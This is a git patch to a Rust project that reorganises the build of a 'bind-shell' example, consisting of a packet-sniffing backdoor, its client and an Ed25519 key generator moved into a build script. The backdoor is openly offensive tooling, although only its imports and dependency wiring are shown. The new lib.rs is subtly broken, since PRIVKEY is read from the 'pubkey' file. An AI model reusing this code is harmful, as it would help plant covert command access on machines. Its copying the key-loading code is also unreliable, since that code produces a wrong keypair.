From 52e458296c603e98ea3f5a3808f0372ea86b4d2c Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Sun, 7 May 2023 00:08:04 -0400 Subject: [PATCH] build: made it easier to build bind-shell --- Cargo.lock | 2 ++ Makefile.toml | 8 +++-- examples/bind-shell/backdoor/Cargo.toml | 3 +- examples/bind-shell/backdoor/src/main.rs | 2 +- examples/bind-shell/client/Cargo.toml | 3 +- examples/bind-shell/client/src/main.rs | 3 +- examples/bind-shell/key-generator/Cargo.toml | 2 +- examples/bind-shell/key-generator/build.rs | 31 +++++++++++++++++++ examples/bind-shell/key-generator/src/lib.rs | 17 ++++++++++ examples/bind-shell/key-generator/src/main.rs | 13 -------- 10 files changed, 63 insertions(+), 21 deletions(-) create mode 100644 examples/bind-shell/key-generator/build.rs create mode 100644 examples/bind-shell/key-generator/src/lib.rs delete mode 100644 examples/bind-shell/key-generator/src/main.rs diff --git a/Cargo.lock b/Cargo.lock index 1e51758..54be1ae 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -168,6 +168,7 @@ version = "0.1.0" dependencies = [ "anyhow", "ed25519-dalek", + "ex-bind-shell-key-generator", "log", "pcap-sys", "simple_logger", @@ -181,6 +182,7 @@ version = "0.1.0" dependencies = [ "anyhow", "ed25519-dalek", + "ex-bind-shell-key-generator", ] [[package]] diff --git a/Makefile.toml b/Makefile.toml index 5c09404..510a34f 100644 --- a/Makefile.toml +++ b/Makefile.toml @@ -23,13 +23,16 @@ args = ["fmt"] #--------------------------------- [tasks.setup] +workspace = false dependencies = ["pull-rust-image", "update-submodules"] [tasks.pull-rust-image] -shell = "docker pull rust:1-alpine" +workspace = false +script = "docker pull rust:1-alpine" [tasks.update-submodules] -shell = "git submodule update --init" +workspace = false +script = "git submodule update --init" #---------------------- # @@ -38,6 +41,7 @@ shell = "git submodule update --init" #---------------------- [tasks.ci] +workspace = false dependencies = ["setup", "build"] [tasks.convco-check] diff --git a/examples/bind-shell/backdoor/Cargo.toml b/examples/bind-shell/backdoor/Cargo.toml index 9f5eb8e..5bc5255 100644 --- a/examples/bind-shell/backdoor/Cargo.toml +++ b/examples/bind-shell/backdoor/Cargo.toml @@ -8,8 +8,9 @@ edition = "2021" [dependencies] tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process", "io-util"] } pcap-sys = { path = "../../../pcap-sys" } +ex-bind-shell-key-generator = { path = "../key-generator" } anyhow = "1.0.70" tokio-stream = "0.1.14" ed25519-dalek = "1.0.1" log = "0.4.17" -simple_logger = "4.1.0" +simple_logger = "4.1.0" \ No newline at end of file diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index 4bb2bfb..02de58a 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -8,7 +8,7 @@ use pcap_sys::{self, packets::EthernetPacket}; use tokio::{self, io::AsyncReadExt, process, sync::mpsc}; use tokio_stream::StreamExt; -const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey"); +use ex_bind_shell_key_generator::PUBKEY; #[tokio::main] async fn main() -> anyhow::Result<()> { diff --git a/examples/bind-shell/client/Cargo.toml b/examples/bind-shell/client/Cargo.toml index 1565b13..907fbde 100644 --- a/examples/bind-shell/client/Cargo.toml +++ b/examples/bind-shell/client/Cargo.toml @@ -7,4 +7,5 @@ edition = "2021" [dependencies] anyhow = "1.0.70" -ed25519-dalek = "1.0.1" \ No newline at end of file +ed25519-dalek = "1.0.1" +ex-bind-shell-key-generator = { path = "../key-generator" } \ No newline at end of file diff --git a/examples/bind-shell/client/src/main.rs b/examples/bind-shell/client/src/main.rs index d2c27bd..7d2a98c 100644 --- a/examples/bind-shell/client/src/main.rs +++ b/examples/bind-shell/client/src/main.rs @@ -3,8 +3,7 @@ use std::{io::prelude::*, net::UdpSocket, thread}; use anyhow::{anyhow, Context}; use ed25519_dalek::{Keypair, Signer}; -const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey"); -const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey"); +use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY}; fn main() -> anyhow::Result<()> { let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat()) diff --git a/examples/bind-shell/key-generator/Cargo.toml b/examples/bind-shell/key-generator/Cargo.toml index bc1b578..c1ecff6 100644 --- a/examples/bind-shell/key-generator/Cargo.toml +++ b/examples/bind-shell/key-generator/Cargo.toml @@ -5,6 +5,6 @@ edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html -[dependencies] +[build-dependencies] ed25519-dalek = "1.0.1" rand = "0.7" diff --git a/examples/bind-shell/key-generator/build.rs b/examples/bind-shell/key-generator/build.rs new file mode 100644 index 0000000..89a56de --- /dev/null +++ b/examples/bind-shell/key-generator/build.rs @@ -0,0 +1,31 @@ +// Copyright (C) 2023 Andrew Rioux +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as +// published by the Free Software Foundation, either version 3 of the +// License, or (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . + +use std::{fs, io, path::Path}; + +use ed25519_dalek::Keypair; + +fn main() -> io::Result<()> { + let mut csprng = rand::thread_rng(); + let keypair = Keypair::generate(&mut csprng); + + let path_str = std::env::var("OUT_DIR").unwrap(); + let path = >::as_ref(&path_str); + + fs::write(path.join("privkey"), keypair.secret)?; + fs::write(path.join("pubkey"), keypair.public)?; + + Ok(()) +} \ No newline at end of file diff --git a/examples/bind-shell/key-generator/src/lib.rs b/examples/bind-shell/key-generator/src/lib.rs new file mode 100644 index 0000000..70e9d59 --- /dev/null +++ b/examples/bind-shell/key-generator/src/lib.rs @@ -0,0 +1,17 @@ +// Copyright (C) 2023 Andrew Rioux +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as +// published by the Free Software Foundation, either version 3 of the +// License, or (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . + +pub const PUBKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey")); +pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey")); \ No newline at end of file diff --git a/examples/bind-shell/key-generator/src/main.rs b/examples/bind-shell/key-generator/src/main.rs deleted file mode 100644 index 9316f3a..0000000 --- a/examples/bind-shell/key-generator/src/main.rs +++ /dev/null @@ -1,13 +0,0 @@ -use std::{fs, io}; - -use ed25519_dalek::Keypair; - -fn main() -> io::Result<()> { - let mut csprng = rand::thread_rng(); - let keypair = Keypair::generate(&mut csprng); - - fs::write("privkey", keypair.secret)?; - fs::write("pubkey", keypair.public)?; - - Ok(()) -}